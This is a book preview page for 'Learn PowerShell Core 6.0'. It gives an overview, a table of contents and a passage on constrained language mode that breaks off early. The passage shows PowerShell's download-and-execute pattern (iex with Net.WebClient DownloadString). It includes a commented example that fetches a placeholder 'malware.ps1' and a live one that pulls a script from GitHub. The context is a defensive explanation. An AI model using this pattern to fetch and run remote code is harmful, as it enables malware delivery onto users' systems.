Book Image

Learn PowerShell Core 6.0

By : David das Neves, Jan-Hendrik Peters
Book Image

Learn PowerShell Core 6.0

By: David das Neves, Jan-Hendrik Peters

Overview of this book

Beginning with an overview of the different versions of PowerShell, Learn PowerShell Core 6.0 introduces you to VSCode and then dives into helping you understand the basic techniques in PowerShell scripting. You will cover advanced coding techniques, learn how to write reusable code as well as store and load data with PowerShell. This book will help you understand PowerShell security and Just Enough Administration, enabling you to create your own PowerShell repository. The last set of chapters will guide you in setting up, configuring, and working with Release Pipelines in VSCode and VSTS, and help you understand PowerShell DSC. In addition to this, you will learn how to use PowerShell with Windows, Azure, Microsoft Online Services, SCCM, and SQL Server. The final chapter will provide you with some use cases and pro tips. By the end of this book, you will be able to create professional reusable code using security insight and knowledge of working with PowerShell Core 6.0 and its most important capabilities.

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Table of Contents (26 chapters)
Title Page
Title Page
Dedication
Dedication
Packt Upsell
Packt Upsell
Contributors
Contributors
Preface
Preface
Free Chapter
1
Current PowerShell Versions
Current PowerShell Versions
Technical requirements
Historical background
Overview of different versions of Powershell
Windows PowerShell 5.1
PowerShell Core 6
PowerShell Open Source
The goals of PowerShell Core 6
Azure Cloud Shell
Future of PowerShell
Summary
Questions
Further reading
2
PowerShell ISE Versus VSCode
PowerShell ISE Versus VSCode
Introduction to currently available tools
PowerShell ISE
Visual Studio Code
ISE versus VSCode
Summary
Questions
Further reading
3
Basic Coding Techniques
Basic Coding Techniques
Comments
Regions
Types
Variables
Commands and parameters
PSDrives and PSProviders
PowerShell's scripting language
Error handling
Remoting
Summary
Questions
Further reading
4
Advanced Coding Techniques
Advanced Coding Techniques
Technical requirements
Working with credentials
Working with external utilities
Pipeline and performance
Working with APIs
Working with events
Custom formatting
Custom type extensions
Summary
Questions
Further reading
5
Writing Reusable Code
Writing Reusable Code
Best practice guidelines
Functions
Help files
Code signing
Modules
Version control
PSScriptAnalyzer
Summary
Questions
Further reading
6
Working with Data
Working with Data
Registry
Files
CSV
XML
CLIXML
JSON
Classes 
Summary
Questions
Further reading
7
Understanding PowerShell Security
Understanding PowerShell Security
Current situation around PowerShell
Is PowerShell a vulnerability?
Principle of Least Privilege
The community
Version 5
Evergreen
Secure coding
Remoting
ExecutionPolicy
Executing PowerShell without PowerShell.exe
Constrained language mode
 AppLocker
Obfuscation
Logging
AMSI
Prioritizing technical security controls
Summary
Questions
Further reading
8
Just Enough Administration
Just Enough Administration
Technical overview
Session authoring
Role capabilities
Session configurations
Deploying session configurations
Use cases
Summary
Questions
Further reading
9
DevOps with PowerShell
DevOps with PowerShell
What is DevOps?
Why DevOps
Test-driven development
Continuous integration
Continuous deployment
Challenges of DevOps
The value of PowerShell
Summary
Questions
Further reading
10
Creating Your Own PowerShell Repository
Creating Your Own PowerShell Repository
Package management
Knowledge management
PowerShell repository
Execution
Deploying and upgrading
Summary
Questions
Further reading
11
VSCode and PowerShell Release Pipelines
VSCode and PowerShell Release Pipelines
Configuration
Extensibility
Preparing for a release pipeline
Working with different hosts
Plaster
PSScriptAnalyzer
Pester
Git
CI tools
Bringing it all together
Summary
Questions
Further reading
12
PowerShell Desired State Configuration
PowerShell Desired State Configuration
Introducing DSC
Local Configuration Manager – LCM
Push
Pull
Security
Resources
DSC Core
Summary
Questions
Further reading
13
Working with Windows
Working with Windows
Retrieving the latest PowerShell version
WMI CIM
Delivery Optimization
Retrieving all log events and files for update issues
Turning off energy-saving mechanisms
Verifying installed updates
Working with apps
EventLog
ETL parsing
Convert-PPTX to PDF
Summary
Questions
Further reading
14
Working with Azure
Working with Azure
Azure 101
PowerShell in Azure Cloud Shell
Resource group deployment
Individual deployments
Summary
Questions
Further reading
15
Connecting to Microsoft Online Services
Connecting to Microsoft Online Services
Office 365
Exchange Online
SharePoint Online
Microsoft Teams
Summary
Questions
Further reading
16
Working with SCCM and SQL Server
Working with SCCM and SQL Server
System Center Configuration Manager
SQL Server
Summary
Questions
17
PowerShell Deep Dives
PowerShell Deep Dives
Creating XAML GUIs with PSGUI
Scalable DSC configuration
ConvertFrom-String
LINQ
OpenFileDialog
Username to Security Identifier (SID)
SHiPS
PSDefaultParameterValues and PSBoundParameters
ConvertTo-Breakpoint
Summary
Questions
Further reading
PowerShell ISE Hotkeys
PowerShell ISE Hotkeys
Keyboard shortcuts for editing text
References
VSCode Hotkeys
References
Assessments
Assessments
Chapter 1
Chapter 2
Chapter 3
Chapter 4
Chapter 5
Chapter 6
Chapter 7
Chapter 8
Chapter 9
Chapter 10
Chapter 11
Chapter 12
Chapter 13
Chapter 14
Chapter 15
Chapter 16
Chapter 17
Other Books You May Enjoy
Other Books You May Enjoy
Leave a review - let other readers know what you think
Index
Index

Constrained language mode

There are specific language modes available, and one of these is constrained language mode. In this specific mode, only the PowerShell core functionality will be working and the following possibilities will be prevented:

  • Using .NET methods directly
  • Using Win32 APIs 
  • Using COM objects

This example script shows the currently used language mode, which is FullLanguageMode:

#current language mode
$ExecutionContext.SessionState.LanguageMode

In this language mode, it is possible to use the web client from the .NET Framework to download and execute code dynamically:

#Using TLS 1.2
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

#(New ObjectNet.WebClient).DownloadString(‘https://[website]/malware.ps1′)
#example with $PSVersionTable
iex ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/ddneves/Book_Learn_PowerShell/master/Ch1/RetrieveVersion.ps1'))

The retrieved code will display the $PSVersionTable variable. Now, we...

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